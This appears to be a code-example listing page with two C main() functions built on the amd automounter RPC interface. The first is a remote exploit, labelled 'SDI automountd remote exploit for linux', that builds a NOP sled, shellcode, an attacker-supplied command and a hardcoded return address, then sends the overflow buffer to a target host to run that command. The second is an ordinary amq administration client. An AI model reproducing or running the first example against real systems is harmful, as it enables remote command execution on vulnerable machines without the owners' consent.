Exemplo n.º 1
0
int main ( int argc, char *argv[] ) {
    CLIENT *cl;
    struct timeval tv;
    struct sockaddr_in sa;
    struct hostent *he;
    char buf[8000], *path = buf, comm[200], *host, *cc;
    int sd, res, x, y, offset=0, c, port=0, damn=0, udp=0;
    long addr = 0xbffff505;

    while ((c = getopt(argc, argv, "h:p:c:o:u")) != -1)
        switch (c) {
        case 'h':
            host = optarg;
            break;

        case 'p':
            port = atoi(optarg);
            break;

        case 'c':
            cc = optarg;
            break;

        case 'o':
            offset = atoi ( optarg);
            break;

        case 'u':
            udp = 1;
            break;

        default:
            damn = 1;
            break;
        }

    if (!host || !cc || damn) usage ( argv[0]);

    sa.sin_family = AF_INET;
    he = gethostbyname ( host);
    if (!he) {
        if ( (sa.sin_addr.s_addr = inet_addr ( host)) == INADDR_NONE) {
            printf ( "unknown host, try again pal!\n");
            exit ( 0);
        }
    } else
        bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
    sa.sin_port = htons(port);
    sd = RPC_ANYSOCK;
    tv.tv_sec = 10;
    tv.tv_usec = 0;

    snprintf ( comm, sizeof(comm), "%s", cc);
    if ( strlen(comm) >= 160) {
        printf ( "command too long\n");
        exit (0);
    } else {
        comm[strlen(comm)] = ';';
        for ( x = strlen(comm); x < 160; x++)
            comm[x] = 'A';
    }

    addr += offset;
    for ( x = 0; x < (1001-(strlen(shellcode)+strlen(comm))); x++)
        buf[x] = NOP;

    for ( y = 0; y < strlen(shellcode); x++, y++)
        buf[x] = shellcode[y];

    for ( y = 0; y < strlen(comm); x++, y++)
        buf[x] = comm[y];

    printf ( "SDI automountd remote exploit for linux\n");
    printf ( "Host %s \nRET 0x%x \nOFFset %d \n", host, addr, offset);

    for ( ; x < 1020; x+=4) {
        buf[x  ] = (addr & 0x000000ff);
        buf[x+1] = (addr & 0x0000ff00) >> 8;
        buf[x+2] = (addr & 0x00ff0000) >> 16;
        buf[x+3] = (addr & 0xff000000) >> 24;
    }

    buf[strlen(buf)] = '\0';

    if (!udp) {
        if ((cl = clnttcp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, &sd, 0, 0)) ==
                NULL)
        {
            clnt_pcreateerror("clnt_create");
            exit (-1);
        }
    } else {
        if ((cl = clntudp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, tv, &sd)) ==
                NULL)
        {
            clnt_pcreateerror("clnt_create");
            exit (-1);
        }
    }
    printf ( "PORT %d \n", ntohs(sa.sin_port));
    printf ( "Command: %s \n", cc);

    amqproc_mount_1 (&path, cl);

    clnt_destroy ( cl);

}
Exemplo n.º 2
0
/*
 * MAIN
 */
int
main(int argc, char *argv[])
{
	int nodefault = 0, opt_ch, errs = 0, s;
	struct sockaddr_in server_addr;
	struct hostent *hp;
	CLIENT *clnt;
	char *server;

	/*
	 * Parse arguments
	 */
	while ((opt_ch = getopt(argc, argv, "fh:l:msuvx:D:M:")) != -1)
		switch (opt_ch) {
		case 'f':
			flush_flag = 1;
			nodefault = 1;
			break;

		case 'h':
			def_server = optarg;
			break;

		case 'l':
			logfile = optarg;
			nodefault = 1;
			break;

		case 'm':
			minfo_flag = 1;
			nodefault = 1;
			break;

		case 's':
			stats_flag = 1;
			nodefault = 1;
			break;

		case 'u':
			unmount_flag = 1;
			nodefault = 1;
			break;

		case 'v':
			getvers_flag = 1;
			nodefault = 1;
			break;

		case 'x':
			xlog_optstr = optarg;
			nodefault = 1;
			break;

		case 'D':
			debug_opts = optarg;
			nodefault = 1;
			break;

		case 'M':
			mount_map = optarg;
			nodefault = 1;
			break;

		default:
			errs = 1;
			break;
		}

	if (optind == argc) {
		if (unmount_flag)
			errs = 1;
	}
	
	if (errs) {
show_usage:
		fprintf(stderr, "usage: %s [-fmsuv] [-h hostname] "
		    "[directory ...]\n", __progname);
		exit(1);
	}

	server = def_server;

	/*
	 * Get address of server
	 */
	if ((hp = gethostbyname(server)) == 0 && strcmp(server, localhost) != 0) {
		fprintf(stderr, "%s: Can't get address of %s\n", __progname, server);
		exit(1);
	}
	bzero(&server_addr, sizeof server_addr);
	server_addr.sin_family = AF_INET;
	if (hp) {
		bcopy((void *)hp->h_addr, (void *)&server_addr.sin_addr,
			sizeof(server_addr.sin_addr));
	} else {
		/* fake "localhost" */
		server_addr.sin_addr.s_addr = htonl(0x7f000001);
	}

	/*
	 * Create RPC endpoint
	 */
	s = privsock(SOCK_STREAM);
	clnt = clnttcp_create(&server_addr, AMQ_PROGRAM, AMQ_VERSION, &s, 0, 0);
	if (clnt == 0) {
		close(s);
		s = privsock(SOCK_DGRAM);
		clnt = clntudp_create(&server_addr, AMQ_PROGRAM,
		    AMQ_VERSION, TIMEOUT, &s);
	}
	if (clnt == 0) {
		fprintf(stderr, "%s: ", __progname);
		clnt_pcreateerror(server);
		exit(1);
	}

	/*
	 * Control debugging
	 */
	if (debug_opts) {
		int *rc;
		amq_setopt opt;
		opt.as_opt = AMOPT_DEBUG;
		opt.as_str = debug_opts;
		rc = amqproc_setopt_1(&opt, clnt);
		if (rc && *rc < 0) {
			fprintf(stderr,
			    "%s: daemon not compiled for debug", __progname);
			errs = 1;
		} else if (!rc || *rc > 0) {
			fprintf(stderr,
			    "%s: debug setting for \"%s\" failed\n",
			    __progname, debug_opts);
			errs = 1;
		}
	}

	/*
	 * Control logging
	 */
	if (xlog_optstr) {
		int *rc;
		amq_setopt opt;
		opt.as_opt = AMOPT_XLOG;
		opt.as_str = xlog_optstr;
		rc = amqproc_setopt_1(&opt, clnt);
		if (!rc || *rc) {
			fprintf(stderr, "%s: setting log level to \"%s\" failed\n",
			    __progname, xlog_optstr);
			errs = 1;
		}
	}

	/*
	 * Control log file
	 */
	if (logfile) {
		int *rc;
		amq_setopt opt;
		opt.as_opt = AMOPT_LOGFILE;
		opt.as_str = logfile;
		rc = amqproc_setopt_1(&opt, clnt);
		if (!rc || *rc) {
			fprintf(stderr, "%s: setting logfile to \"%s\" failed\n",
			    __progname, logfile);
			errs = 1;
		}
	}

	/*
	 * Flush map cache
	 */
	if (flush_flag) {
		int *rc;
		amq_setopt opt;
		opt.as_opt = AMOPT_FLUSHMAPC;
		opt.as_str = "";
		rc = amqproc_setopt_1(&opt, clnt);
		if (!rc || *rc) {
			fprintf(stderr,
			    "%s: amd on %s cannot flush the map cache\n",
			    __progname, server);
			errs = 1;
		}
	}

	/*
	 * Mount info
	 */
	if (minfo_flag) {
		int dummy;
		amq_mount_info_list *ml = amqproc_getmntfs_1(&dummy, clnt);
		if (ml) {
			int mwid = 0, dwid = 0, twid = 0;
			show_mi(ml, Calc, &mwid, &dwid, &twid);
			mwid++; dwid++; twid++;
			show_mi(ml, Full, &mwid, &dwid, &twid);
		} else {
			fprintf(stderr, "%s: amd on %s cannot provide mount info\n",
			    __progname, server);
		}
	}

	/*
	 * Mount map
	 */
	if (mount_map) {
		int *rc;
		do {
			rc = amqproc_mount_1(&mount_map, clnt);
		} while (rc && *rc < 0);
		if (!rc || *rc > 0) {
			if (rc)
				errno = *rc;
			else
				errno = ETIMEDOUT;
			fprintf(stderr, "%s: could not start new ", __progname);
			perror("autmount point");
		}
	}

	/*
	 * Get Version
	 */
	if (getvers_flag) {
		amq_string *spp = amqproc_getvers_1((void *)0, clnt);
		if (spp && *spp) {
			printf("%s.\n", *spp);
			free(*spp);
		} else {
			fprintf(stderr, "%s: failed to get version information\n",
			    __progname);
			errs = 1;
		}
	}

	/*
	 * Apply required operation to all remaining arguments
	 */
	if (optind < argc) {
		do {
			char *fs = argv[optind++];
			if (unmount_flag) {
				/*
				 * Unmount request
				 */
				amqproc_umnt_1(&fs, clnt);
			} else {
				/*
				 * Stats request
				 */
				amq_mount_tree_p *mtp = amqproc_mnttree_1(&fs, clnt);
				if (mtp) {
					amq_mount_tree *mt = *mtp;
					if (mt) {
						int mwid = 0, dwid = 0, twid = 0;

						show_mt(mt, Calc, &mwid, &dwid, &twid);
						mwid++;
						dwid++;
						twid++;

						printf("%-*.*s Uid   Getattr "
						    "Lookup RdDir   RdLnk   "
						    "Statfs Mounted@\n",
						    dwid, dwid, "What");
						show_mt(mt, Stats, &mwid, &dwid, &twid);
					} else {
						fprintf(stderr,
						    "%s: %s not automounted\n",
						    __progname, fs);
					}
					xdr_pri_free(xdr_amq_mount_tree_p, mtp);
				} else {
					fprintf(stderr, "%s: ", __progname);
					clnt_perror(clnt, server);
					errs = 1;
				}
			}
		} while (optind < argc);
	} else if (unmount_flag) {
		goto show_usage;
	} else if (stats_flag) {
		amq_mount_stats *ms = amqproc_stats_1((void *)0, clnt);
		if (ms) {
			show_ms(ms);
		} else {
			fprintf(stderr, "%s: ", __progname);
			clnt_perror(clnt, server);
			errs = 1;
		}
	} else if (!nodefault) {
		amq_mount_tree_list *mlp = amqproc_export_1((void *)0, clnt);
		if (mlp) {
			enum show_opt e = Calc;
			int mwid = 0, dwid = 0, pwid = 0;

			while (e != ShowDone) {
				int i;

				for (i = 0; i < mlp->amq_mount_tree_list_len; i++) {
					show_mt(mlp->amq_mount_tree_list_val[i],
					    e, &mwid, &dwid, &pwid);
				}
				mwid++;
				dwid++;
				pwid++;
				if (e == Calc)
					e = Short;
				else if (e == Short)
					e = ShowDone;
			}
		} else {
			fprintf(stderr, "%s: ", __progname);
			clnt_perror(clnt, server);
			errs = 1;
		}
	}

	exit(errs);
}